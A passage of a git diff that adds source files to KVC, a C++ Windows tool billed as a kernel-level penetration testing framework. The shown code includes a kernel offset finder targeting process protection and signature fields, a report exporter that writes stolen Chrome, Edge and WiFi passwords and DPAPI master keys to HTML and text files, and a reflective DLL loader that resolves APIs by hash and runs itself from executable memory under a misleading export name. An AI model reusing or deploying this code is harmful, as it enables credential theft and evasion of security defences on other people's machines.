structure offset identifiers +enum class Offset +{ + KernelPsInitialSystemProcess, + ProcessActiveProcessLinks, + ProcessUniqueProcessId, + ProcessProtection, + ProcessSignatureLevel, + ProcessSectionSignatureLevel +}; + +// Kernel structure offset discovery and caching +class OffsetFinder +{ +public: + OffsetFinder(); + ~OffsetFinder(); + + OffsetFinder(const OffsetFinder&) = delete; + OffsetFinder& operator=(const OffsetFinder&) = delete; + OffsetFinder(OffsetFinder&&) noexcept = default; + OffsetFinder& operator=(OffsetFinder&&) noexcept = default; + + std::optional GetOffset(Offset name) const noexcept; + bool FindAllOffsets() noexcept; + +private: + // Smart module wrapper for automatic cleanup + struct ModuleDeleter + { + void operator()(HMODULE module) const noexcept + { + if (module) FreeLibrary(module); + } + }; + + using ModuleHandle = std::unique_ptr, ModuleDeleter>; + + ModuleHandle m_kernelModule; + std::unordered_map m_offsetMap; + + // Offset discovery methods for different kernel structures + bool FindKernelPsInitialSystemProcessOffset() noexcept; + bool FindProcessActiveProcessLinksOffset() noexcept; + bool FindProcessUniqueProcessIdOffset() noexcept; + bool FindProcessProtectionOffset() noexcept; + bool FindProcessSignatureLevelOffset() noexcept; + bool FindProcessSectionSignatureLevelOffset() noexcept; +}; \ No newline at end of file diff --git a/kvc/ReportExporter.cpp b/kvc/ReportExporter.cpp new file mode 100644 index 0000000..7fc6ebc --- /dev/null +++ b/kvc/ReportExporter.cpp @@ -0,0 +1,474 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "ReportExporter.h" +#include "Controller.h" +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +// ReportData implementation with automatic statistics calculation +ReportData::ReportData(const std::vector& results, + const std::vector& keys, + const std::wstring& path) + : passwordResults(results), masterKeys(keys), outputPath(path) +{ + // Generate timestamp for report + time_t now = time(nullptr); + char timestampBuffer[20]; + struct tm timeInfo; + localtime_s(&timeInfo, &now); + strftime(timestampBuffer, sizeof(timestampBuffer), "%Y-%m-%d %H:%M:%S", &timeInfo); + timestamp = timestampBuffer; + + CalculateStatistics(); +} + +void ReportData::CalculateStatistics() +{ + stats = Stats{}; + stats.masterKeyCount = static_cast(masterKeys.size()); + + // Count passwords by type + for (const auto& result : passwordResults) { + if (!result.password.empty()) { + stats.totalPasswords++; + + if (result.type.find(L"Chrome") != std::wstring::npos) + stats.chromePasswords++; + else if (result.type.find(L"Edge") != std::wstring::npos) + stats.edgePasswords++; + else if (result.type.find(L"WiFi") != std::wstring::npos) + stats.wifiPasswords++; + } + } +} + +// Professional report export in multiple formats +bool ReportExporter::ExportAllFormats(const ReportData& data) noexcept +{ + INFO(L"Generating comprehensive password reports..."); + + if (!EnsureOutputDirectory(data.outputPath)) { + ERROR(L"Failed to create output directory: %s", data.outputPath.c_str()); + return false; + } + + bool htmlSuccess = ExportHTML(data); + bool txtSuccess = ExportTXT(data); + + return htmlSuccess && txtSuccess; +} + +bool ReportExporter::ExportHTML(const ReportData& data) noexcept +{ + auto htmlPath = GetHTMLPath(data.outputPath); + std::ofstream htmlFile(htmlPath, std::ios::binary); + + if (!htmlFile.is_open()) { + ERROR(L"Failed to create HTML report: %s", htmlPath.c_str()); + return false; + } + + std::string htmlContent = GenerateHTMLContent(data); + htmlFile << htmlContent; + htmlFile.close(); + + return true; +} + +bool ReportExporter::ExportTXT(const ReportData& data) noexcept +{ + auto txtPath = GetTXTPath(data.outputPath); + std::wofstream txtFile(txtPath); + + if (!txtFile.is_open()) { + ERROR(L"Failed to create TXT report: %s", txtPath.c_str()); + return false; + } + + std::wstring txtContent = GenerateTXTContent(data); + txtFile << txtContent; + txtFile.close(); + + return true; +} + +void ReportExporter::DisplaySummary(const ReportData& data) noexcept +{ + std::wcout << L"\n"; + SUCCESS(L"=== DPAPI PASSWORD EXTRACTION SUMMARY ==="); + SUCCESS(L"Registry Master Keys: %d", data.stats.masterKeyCount); + SUCCESS(L"Total Passwords: %d", data.stats.totalPasswords); + SUCCESS(L"Chrome Passwords: %d", data.stats.chromePasswords); + SUCCESS(L"Edge Passwords: %d", data.stats.edgePasswords); + SUCCESS(L"WiFi Passwords: %d", data.stats.wifiPasswords); + SUCCESS(L"Reports Generated:"); + SUCCESS(L" - HTML: %s\\dpapi_results.html", data.outputPath.c_str()); + SUCCESS(L" - TXT: %s\\dpapi_results.txt", data.outputPath.c_str()); + std::wcout << L"\n"; +} + +// HTML content generation with modern styling +std::string ReportExporter::GenerateHTMLContent(const ReportData& data) noexcept +{ + std::ostringstream html; + + html << BuildHTMLHeader(data); + html << BuildSummarySection(data); + html << BuildMasterKeysTable(data); + html << BuildPasswordsTable(data); + html << BuildWiFiTable(data); + html << "\n\n"; + + return html.str(); +} + +std::string ReportExporter::BuildHTMLHeader(const ReportData& data) noexcept +{ + std::ostringstream header; + + header << "\n\n\n"; + header << " \n"; + header << " kvc DPAPI Extraction Results - Kernel Vulnerability Capabilities Framework by WESMAR\n"; + header << " \n"; + header << "\n\n"; + header << "
\n"; + header << "

🔓 kvc DPAPI Extraction Results - Kernel Vulnerability Capabilities Framework by WESMAR

\n"; + + return header.str(); +} + +std::string ReportExporter::BuildSummarySection(const ReportData& data) noexcept +{ + std::ostringstream summary; + + summary << "
\n"; + summary << " Generated: " << data.timestamp << "
\n"; + summary << " Registry Master Keys: " << data.stats.masterKeyCount << "
\n"; + summary << " Total Passwords: " << data.stats.totalPasswords << "
\n"; + summary << " Chrome Passwords: " << data.stats.chromePasswords << "
\n"; + summary << " Edge Passwords: " << data.stats.edgePasswords << "
\n"; + summary << " WiFi Passwords: " << data.stats.wifiPasswords << "
\n"; + summary << " Extraction Method: Registry DPAPI + TrustedInstaller
\n"; + summary << " Tool: kvc v1.0.1 - marek@wesolowski.eu.org\n"; + summary << "
\n"; + + return summary.str(); +} + +std::string ReportExporter::BuildMasterKeysTable(const ReportData& data) noexcept +{ + std::ostringstream table; + + table << "\n
DPAPI Master Keys
\n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " "; + + for (const auto& masterKey : data.masterKeys) { + // Extract key type from full registry path + std::string keyType = "Unknown"; + if (masterKey.keyName.find(L"DPAPI_SYSTEM") != std::wstring::npos) { + keyType = "DPAPI_SYSTEM"; + } else if (masterKey.keyName.find(L"NL$KM") != std::wstring::npos) { + keyType = "NL$KM"; + } else if (masterKey.keyName.find(L"DefaultPassword") != std::wstring::npos) { + keyType = "DefaultPassword"; + } + + // Convert binary data to hex strings + std::string rawHex = BytesToHexString(masterKey.encryptedData); + std::string processedHex = BytesToHexString(masterKey.decryptedData); + + // Truncate for display if too long + if (rawHex.length() > 64) { + rawHex = rawHex.substr(0, 64) + "..."; + } + if (processedHex.length() > 64) { + processedHex = processedHex.substr(0, 64) + "..."; + } + + std::string statusClass = masterKey.isDecrypted ? "status-decrypted" : "status-extracted"; + std::string statusText = masterKey.isDecrypted ? "✓" : "⚡"; + + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n\n"; + } + + table << " \n
Key TypeRaw Data (Hex)Processed Data (Hex)Status
" << keyType << "" << rawHex << "" << processedHex << "" << statusText << "
\n"; + return table.str(); +} + +std::string ReportExporter::BuildPasswordsTable(const ReportData& data) noexcept +{ + std::ostringstream table; + + table << "\n
Browser Passwords
\n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " "; + + // Filter and display browser passwords + for (const auto& result : data.passwordResults) { + if (result.type.find(L"Chrome") != std::wstring::npos || + result.type.find(L"Edge") != std::wstring::npos) { + + std::string cssClass = result.type.find(L"Chrome") != std::wstring::npos ? "chrome" : "edge"; + + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + } + } + + table << " \n
BrowserProfileURLUsernamePasswordStatus
" << WStringToUTF8(result.type) << "" << WStringToUTF8(result.profile) << "" << WStringToUTF8(result.url) << "" << WStringToUTF8(result.username) << "" << WStringToUTF8(result.password) << "" << WStringToUTF8(result.status) << "
\n"; + return table.str(); +} + +std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept +{ + std::ostringstream table; + + table << "\n
WiFi Credentials
\n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " "; + + // Filter and display WiFi credentials + for (const auto& result : data.passwordResults) { + if (result.type.find(L"WiFi") != std::wstring::npos) { + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + } + } + + table << " \n
Network NamePasswordTypeStatus
" << WStringToUTF8(result.profile) << "" << WStringToUTF8(result.password) << "" << WStringToUTF8(result.type) << "" << WStringToUTF8(result.status) << "
\n"; + return table.str(); +} + +// Convert byte vector to hex string for display +std::string ReportExporter::BytesToHexString(const std::vector& bytes) noexcept +{ + if (bytes.empty()) return "N/A"; + + std::ostringstream hexStream; + hexStream << std::hex << std::setfill('0'); + + for (size_t i = 0; i < bytes.size() && i < 32; ++i) { // Limit to first 32 bytes for display + hexStream << std::setw(2) << static_cast(bytes[i]); + } + + if (bytes.size() > 32) { + hexStream << "..."; + } + + return hexStream.str(); +} + +// TXT report generation for lightweight output +std::wstring ReportExporter::GenerateTXTContent(const ReportData& data) noexcept +{ + std::wostringstream txt; + + txt << BuildTXTHeader(data); + txt << BuildTXTMasterKeys(data); + txt << BuildTXTPasswords(data); + txt << BuildTXTWiFi(data); + + return txt.str(); +} + +std::wstring ReportExporter::BuildTXTHeader(const ReportData& data) noexcept +{ + std::wostringstream header; + + header << L"=== kvc DPAPI EXTRACTION RESULTS ===\n"; + header << L"Generated: " << std::wstring(data.timestamp.begin(), data.timestamp.end()) << L"\n"; + header << L"Registry Master Keys: " << data.stats.masterKeyCount << L"\n"; + header << L"Total Passwords: " << data.stats.totalPasswords << L"\n"; + header << L"Tool: kvc v1.0.1 - Kernel Vulnerability Capabilities Framework by WESMAR\n"; + header << L"=================================\n\n"; + + return header.str(); +} + +std::wstring ReportExporter::BuildTXTMasterKeys(const ReportData& data) noexcept +{ + std::wostringstream section; + + section << L"=== REGISTRY MASTER KEYS ===\n"; + for (const auto& masterKey : data.masterKeys) { + section << L"Key: " << masterKey.keyName << L"\n"; + section << L"Size: " << masterKey.encryptedData.size() << L" bytes\n"; + section << L"Status: " << (masterKey.isDecrypted ? L"DECRYPTED" : L"EXTRACTED") << L"\n"; + section << L"---------------------------------\n"; + } + section << L"\n"; + + return section.str(); +} + +std::wstring ReportExporter::BuildTXTPasswords(const ReportData& data) noexcept +{ + std::wostringstream section; + + section << L"=== BROWSER PASSWORDS ===\n"; + for (const auto& result : data.passwordResults) { + if (result.type.find(L"Chrome") != std::wstring::npos || + result.type.find(L"Edge") != std::wstring::npos) { + section << L"Browser: " << result.type << L"\n"; + section << L"Profile: " << result.profile << L"\n"; + section << L"URL: " << result.url << L"\n"; + section << L"Username: " << result.username << L"\n"; + section << L"Password: " << result.password << L"\n"; + section << L"Status: " << result.status << L"\n"; + section << L"---------------------------------\n"; + } + } + section << L"\n"; + + return section.str(); +} + +std::wstring ReportExporter::BuildTXTWiFi(const ReportData& data) noexcept +{ + std::wostringstream section; + + section << L"=== WIFI CREDENTIALS ===\n"; + for (const auto& result : data.passwordResults) { + if (result.type.find(L"WiFi") != std::wstring::npos) { + section << L"Network: " << result.profile << L"\n"; + section << L"Password: " << result.password << L"\n"; + section << L"Status: " << result.status << L"\n"; + section << L"---------------------------------\n"; + } + } + section << L"\n"; + + return section.str(); +} + +// Utility functions for file handling and encoding +std::string ReportExporter::WStringToUTF8(const std::wstring& wstr) noexcept +{ + if (wstr.empty()) return ""; + + int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), NULL, 0, NULL, NULL); + std::string strTo(size_needed, 0); + WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), &strTo[0], size_needed, NULL, NULL); + return strTo; +} + +std::wstring ReportExporter::GetHTMLPath(const std::wstring& outputPath) noexcept +{ + return outputPath + L"\\dpapi_results.html"; +} + +std::wstring ReportExporter::GetTXTPath(const std::wstring& outputPath) noexcept +{ + return outputPath + L"\\dpapi_results.txt"; +} + +bool ReportExporter::EnsureOutputDirectory(const std::wstring& path) noexcept +{ + if (!fs::exists(path)) { + try { + fs::create_directories(path); + return true; + } catch (...) { + return false; + } + } + return true; +} \ No newline at end of file diff --git a/kvc/ReportExporter.h b/kvc/ReportExporter.h new file mode 100644 index 0000000..7939601 --- /dev/null +++ b/kvc/ReportExporter.h @@ -0,0 +1,78 @@ +#pragma once + +#include "common.h" +#include +#include + +struct PasswordResult; +struct RegistryMasterKey; + +// Report data aggregation with automatic statistics +struct ReportData +{ + std::vector passwordResults; + std::vector masterKeys; + std::wstring outputPath; + std::string timestamp; + + struct Stats { + int totalPasswords = 0; + int chromePasswords = 0; + int edgePasswords = 0; + int wifiPasswords = 0; + int masterKeyCount = 0; + } stats; + + ReportData() = default; + ReportData(const std::vector& results, + const std::vector& keys, + const std::wstring& path); + +private: + void CalculateStatistics(); +}; + +// Professional report export in multiple formats +class ReportExporter +{ +public: + ReportExporter() = default; + ~ReportExporter() = default; + + ReportExporter(const ReportExporter&) = delete; + ReportExporter& operator=(const ReportExporter&) = delete; + ReportExporter(ReportExporter&&) noexcept = default; + ReportExporter& operator=(ReportExporter&&) noexcept = default; + + // Main export interface + bool ExportAllFormats(const ReportData& data) noexcept; + bool ExportHTML(const ReportData& data) noexcept; + bool ExportTXT(const ReportData& data) noexcept; + + void DisplaySummary(const ReportData& data) noexcept; + +private: + // HTML generation with obfuscated markup + std::string GenerateHTMLContent(const ReportData& data) noexcept; + std::string BuildHTMLHeader(const ReportData& data) noexcept; + std::string BuildSummarySection(const ReportData& data) noexcept; + std::string BuildMasterKeysTable(const ReportData& data) noexcept; + std::string BuildPasswordsTable(const ReportData& data) noexcept; + std::string BuildWiFiTable(const ReportData& data) noexcept; + + // TXT generation for lightweight output + std::wstring GenerateTXTContent(const ReportData& data) noexcept; + std::wstring BuildTXTHeader(const ReportData& data) noexcept; + std::wstring BuildTXTMasterKeys(const ReportData& data) noexcept; + std::wstring BuildTXTPasswords(const ReportData& data) noexcept; + std::wstring BuildTXTWiFi(const ReportData& data) noexcept; + + // Utility functions for encoding and paths + std::string WStringToUTF8(const std::wstring& wstr) noexcept; + std::wstring GetHTMLPath(const std::wstring& outputPath) noexcept; + std::wstring GetTXTPath(const std::wstring& outputPath) noexcept; + bool EnsureOutputDirectory(const std::wstring& path) noexcept; + + // Utility for DPAPI key display + std::string BytesToHexString(const std::vector& bytes) noexcept; +}; \ No newline at end of file diff --git a/kvc/SelfLoader.cpp b/kvc/SelfLoader.cpp new file mode 100644 index 0000000..2fee2ef --- /dev/null +++ b/kvc/SelfLoader.cpp @@ -0,0 +1,282 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// SelfLoader.cpp +#include +#include +#include +#include "SelfLoader.h" + +#pragma intrinsic(_ReturnAddress) +#pragma intrinsic(_rotr) + +namespace { + // Position-independent code generation helper for hash computation + DWORD ror_dword_loader(DWORD d) noexcept + { + return _rotr(d, HASH_KEY); + } + + // Generate runtime hash for API name resolution + DWORD hash_string_loader(const char* c) noexcept + { + DWORD h = 0; + do + { + h = ror_dword_loader(h); + h += *c; + } while (*++c); + return h; + } + + // Get current instruction pointer for position-independent addressing + __declspec(noinline) ULONG_PTR GetIp() noexcept + { + return reinterpret_cast(_ReturnAddress()); + } +} + +// Manual PE loader with base relocation support for security modules +DLLEXPORT ULONG_PTR WINAPI InitializeSecurityContext(LPVOID lpLoaderParameter) +{ + LOADLIBRARYA_FN fnLoadLibraryA = nullptr; + GETPROCADDRESS_FN fnGetProcAddress = nullptr; + VIRTUALALLOC_FN fnVirtualAlloc = nullptr; + NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = nullptr; + + ULONG_PTR uiModuleBase = GetIp(); + ULONG_PTR uiKernel32Base = 0; + ULONG_PTR uiNtdllBase = 0; + + // Locate current module base by walking backwards from instruction pointer + while (true) + { + auto pDosHeader = reinterpret_cast(uiModuleBase); + if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + auto pNtHeaders = reinterpret_cast(uiModuleBase + pDosHeader->e_lfanew); + if (pNtHeaders->Signature == IMAGE_NT_SIGNATURE) + break; + } + uiModuleBase--; + } + + // Retrieve Process Environment Block based on target architecture + auto pPeb = GET_PEB(); + auto pLdr = pPeb->Ldr; + auto pModuleList = &(pLdr->InMemoryOrderModuleList); + auto pCurrentEntry = pModuleList->Flink; + + // Walk PEB loader data to locate system libraries + while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase)) + { + auto pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_MINIMAL, InMemoryOrderLinks); + if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != nullptr) + { + DWORD dwModuleHash = 0; + USHORT usCounter = pEntry->BaseDllName.Length; + auto pNameByte = reinterpret_cast(pEntry->BaseDllName.Buffer); + + // Generate case-insensitive hash for module name comparison + do + { + dwModuleHash = ror_dword_loader(dwModuleHash); + if (*pNameByte >= 'a' && *pNameByte <= 'z') + { + dwModuleHash += (*pNameByte - 0x20); + } + else + { + dwModuleHash += *pNameByte; + } + pNameByte++; + } while (--usCounter); + + if (dwModuleHash == KERNEL32DLL_HASH) + { + uiKernel32Base = reinterpret_cast(pEntry->DllBase); + } + else if (dwModuleHash == NTDLLDLL_HASH) + { + uiNtdllBase = reinterpret_cast(pEntry->DllBase); + } + } + pCurrentEntry = pCurrentEntry->Flink; + } + + if (!uiKernel32Base || !uiNtdllBase) + return 0; + + // Parse kernel32.dll export directory for required APIs + auto pDosKernel32 = reinterpret_cast(uiKernel32Base); + auto pNtKernel32 = reinterpret_cast(uiKernel32Base + pDosKernel32->e_lfanew); + auto uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + auto pExportDirK32 = reinterpret_cast(uiExportDirK32); + + auto uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames; + auto uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions; + auto uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals; + + // Resolve critical Windows APIs by hash comparison + for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++) + { + auto sName = reinterpret_cast(uiKernel32Base + reinterpret_cast(uiAddressOfNamesK32)[i]); + const DWORD dwHashVal = hash_string_loader(sName); + + if (dwHashVal == LOADLIBRARYA_HASH) + fnLoadLibraryA = reinterpret_cast(uiKernel32Base + reinterpret_cast(uiAddressOfFunctionsK32)[reinterpret_cast(uiAddressOfNameOrdinalsK32)[i]]); + else if (dwHashVal == GETPROCADDRESS_HASH) + fnGetProcAddress = reinterpret_cast(uiKernel32Base + reinterpret_cast(uiAddressOfFunctionsK32)[reinterpret_cast(uiAddressOfNameOrdinalsK32)[i]]); + else if (dwHashVal == VIRTUALALLOC_HASH) + fnVirtualAlloc = reinterpret_cast(uiKernel32Base + reinterpret_cast(uiAddressOfFunctionsK32)[reinterpret_cast(uiAddressOfNameOrdinalsK32)[i]]); + + if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc) + break; + } + + if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc) + return 0; + + // Parse ntdll.dll export directory for instruction cache management + auto pDosNtdll = reinterpret_cast(uiNtdllBase); + auto pNtNtdll = reinterpret_cast(uiNtdllBase + pDosNtdll->e_lfanew); + auto uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + auto pExportDirNtdll = reinterpret_cast(uiExportDirNtdll); + + auto uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames; + auto uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions; + auto uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals; + + for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++) + { + auto sName = reinterpret_cast(uiNtdllBase + reinterpret_cast(uiAddressOfNamesNtdll)[i]); + if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH) + { + fnNtFlushInstructionCache = reinterpret_cast(uiNtdllBase + reinterpret_cast(uiAddressOfFunctionsNtdll)[reinterpret_cast(uiAddressOfNameOrdinalsNtdll)[i]]); + break; + } + } + + if (!fnNtFlushInstructionCache) + return 0; + + // Allocate memory for relocated image in target virtual address space + auto pOldNtHeaders = reinterpret_cast(uiModuleBase + reinterpret_cast(uiModuleBase)->e_lfanew); + const auto uiNewImageBase = reinterpret_cast(fnVirtualAlloc(nullptr, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)); + if (!uiNewImageBase) + return 0; + + // Copy PE headers to new memory location + auto pSourceBytes = reinterpret_cast(uiModuleBase); + auto pDestinationBytes = reinterpret_cast(uiNewImageBase); + const DWORD dwHeadersSize = pOldNtHeaders->OptionalHeader.SizeOfHeaders; + + std::copy(pSourceBytes, pSourceBytes + dwHeadersSize, pDestinationBytes); + + // Copy all sections to their virtual addresses + auto pSectionHeader = reinterpret_cast(reinterpret_cast(&pOldNtHeaders->OptionalHeader) + pOldNtHeaders->FileHeader.SizeOfOptionalHeader); + for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++) + { + auto pSectionSource = reinterpret_cast(uiModuleBase + pSectionHeader[i].PointerToRawData); + auto pSectionDest = reinterpret_cast(uiNewImageBase + pSectionHeader[i].VirtualAddress); + const DWORD dwSectionSize = pSectionHeader[i].SizeOfRawData; + + std::copy(pSectionSource, pSectionSource + dwSectionSize, pSectionDest); + } + + // Process base relocations for position-independent execution + const auto uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase; + auto pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + if (pRelocationData->Size > 0 && uiDelta != 0) + { + auto pRelocBlock = reinterpret_cast(uiNewImageBase + pRelocationData->VirtualAddress); + while (pRelocBlock->VirtualAddress) + { + const DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + auto pRelocEntry = reinterpret_cast(reinterpret_cast(pRelocBlock) + sizeof(IMAGE_BASE_RELOCATION)); + + for (DWORD k = 0; k < dwEntryCount; k++) + { +#if defined(_M_X64) || defined(_M_ARM64) + if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64) + { + *reinterpret_cast(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta; + } +#else + if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW) + { + *reinterpret_cast(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += static_cast(uiDelta); + } +#endif + } + pRelocBlock = reinterpret_cast(reinterpret_cast(pRelocBlock) + pRelocBlock->SizeOfBlock); + } + } + + // Process import address table and resolve external dependencies + auto pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if (pImportData->Size > 0) + { + auto pImportDesc = reinterpret_cast(uiNewImageBase + pImportData->VirtualAddress); + while (pImportDesc->Name) + { + auto sModuleName = reinterpret_cast(uiNewImageBase + pImportDesc->Name); + const HINSTANCE hModule = fnLoadLibraryA(sModuleName); + if (hModule) + { + auto pOriginalFirstThunk = reinterpret_cast(uiNewImageBase + pImportDesc->OriginalFirstThunk); + auto pFirstThunk = reinterpret_cast(uiNewImageBase + pImportDesc->FirstThunk); + if (!pOriginalFirstThunk) + pOriginalFirstThunk = pFirstThunk; + + while (pOriginalFirstThunk->u1.AddressOfData) + { + FARPROC pfnImportedFunc; + if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) + { + pfnImportedFunc = fnGetProcAddress(hModule, reinterpret_cast(pOriginalFirstThunk->u1.Ordinal & 0xFFFF)); + } + else + { + auto pImportByName = reinterpret_cast(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData); + pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name); + } + pFirstThunk->u1.Function = reinterpret_cast(pfnImportedFunc); + pOriginalFirstThunk++; + pFirstThunk++; + } + } + pImportDesc++; + } + } + + // Execute security module entry point with parameter passing + auto fnModuleEntry = reinterpret_cast(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint); + fnNtFlushInstructionCache(reinterpret_cast(-1), nullptr, 0); + fnModuleEntry(reinterpret_cast(uiNewImageBase), DLL_PROCESS_ATTACH, lpLoaderParameter); + + return uiNewImageBase; +} \ No newline at end of file diff --git a/kvc/SelfLoader.h b/kvc/SelfLoader.h new file mode 100644 index 0000000..4524e46 --- /dev/null +++ b/kvc/SelfLoader.h @@ -0,0 +1,90 @@ +// SelfLoader.h - Minimal position-independent PE loader +#ifndef SelfLoader_H +#define SelfLoader_H +#pragma once + +#define WIN32_LEAN_AND_MEAN +#include +#include + +#if defined(_MSC_VER) +#define DLLEXPORT __declspec(dllexport) +#else +#define DLLEXPORT +#endif + +// Function pointer types for dynamic API resolution +typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR); +typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD); +typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG); +typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID); + +// Hash computation constants for position-independent code +#define HASH_KEY 13 + +// Pre-computed hashes for API resolution without Import Table +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +// Minimal Unicode string for module name access +typedef struct _UNICODE_STRING_LDR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR; + +// Minimal LDR entry containing only essential fields for module walking +typedef struct _LDR_DATA_TABLE_ENTRY_MINIMAL +{ + LIST_ENTRY InLoadOrderLinks; // +0x00 + LIST_ENTRY InMemoryOrderLinks; // +0x10 Used for CONTAINING_RECORD + LIST_ENTRY InInitializationOrderLinks; // +0x20 + PVOID DllBase; // +0x30 Module base address + PVOID EntryPoint; // +0x38 + ULONG SizeOfImage; // +0x40 + UNICODE_STRING_LDR FullDllName; // +0x48 + UNICODE_STRING_LDR BaseDllName; // +0x58 Module name for hashing +} LDR_DATA_TABLE_ENTRY_MINIMAL, *PLDR_DATA_TABLE_ENTRY_MINIMAL; + +// Minimal PEB LDR data containing only module list +typedef struct _PEB_LDR_DATA_MINIMAL +{ + BYTE Reserved1[8]; // +0x00 + PVOID Reserved2[3]; // +0x08 + LIST_ENTRY InMemoryOrderModuleList; // +0x20 Module enumeration list +} PEB_LDR_DATA_MINIMAL, *PPEB_LDR_DATA_MINIMAL; + +// Minimal PEB structure with only required fields +typedef struct _PEB_MINIMAL +{ + BYTE Reserved1[24]; // +0x00-0x17 + PPEB_LDR_DATA_MINIMAL Ldr; // +0x18 Pointer to loader data +} PEB_MINIMAL, 